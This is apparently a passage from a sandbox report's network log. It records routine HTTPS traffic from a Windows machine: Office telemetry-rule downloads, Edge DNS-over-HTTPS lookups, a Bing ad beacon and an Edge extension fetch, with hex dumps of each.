2024-11-24 03:20:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032044Z-15b8b599d8885prmhC1TEBsnkw00000003x000000000fst3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:45 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032044Z-178bfbc474bpnd5vhC1NYC4vr400000005a000000000g26b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:45 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49866	172.64.41.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49868	172.64.41.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:45 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032045Z-178bfbc474bq2pr7hC1NYCkfgg00000005kg000000006pdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49867	162.159.61.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49865	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:45 UTC	784	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_S6oHM3gLZTge1i9YYmXAzVUCUzaaSMkpLzTXaRf6C1ChBPf0rbj2Qe1EiTui0zjCUayL0ZCV3qxgQw-LFqIVTtF3LWBsqbTwYvuzYmrBhv6PkjsxhmMVvGJNmjWTfc2tID_IvSHEz6JGTkrB8IFT9EurPozSV7fyX8hwxRBvso8X-PX%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D6c434c23590b10c2dbda2b61c2701cad&TIME=20241124T032034Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-24 03:20:45 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=12E4923F37686EB42D5D877E360A6F8E; domain=.bing.com; expires=Fri, 19-Dec-2025 03:20:45 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Sun, 01-Dec-2024 03:20:45 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F25FEDEF463A4B5B8221E09A85FD7C87 Ref B: EWR30EDGE1114 Ref C: 2024-11-24T03:20:45Z Date: Sun, 24 Nov 2024 03:20:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: f224b857-001e-00ad-6c03-3e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032047Z-178bfbc474bscnbchC1NYCe7eg00000005dg00000000mq8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:46 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:47 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 671fd92a-701e-0097-24e1-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032047Z-178bfbc474b9xljthC1NYCtw9400000005b0000000005wg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:47 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 55cbf247-701e-003e-191f-3e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032047Z-15b8b599d88pxmdghC1TEBux9c00000003z000000000b3vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:20:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:46 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a6c16221-901e-002a-0257-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032047Z-15b8b599d88cn5thhC1TEBqxkn00000003s0000000009wvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032047Z-178bfbc474brk967hC1NYCfu6000000005800000000043tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49887	152.195.19.97	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:47 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733023243&P2=404&P3=2&P4=kspACc7KhzriRMjQxO3sLP%2fE1a4zon8aVVGRf76lXyzZqcl1End3nAEfj1%2bKkRAvTIMkPshZTxBXk3m%2f5jjQfw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: s98IFLj+Nx7Dm/1ZAAV0jy Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:48 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12344979 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 24 Nov 2024 03:20:48 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-24 03:20:48 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49885	13.107.246.63	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:47 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
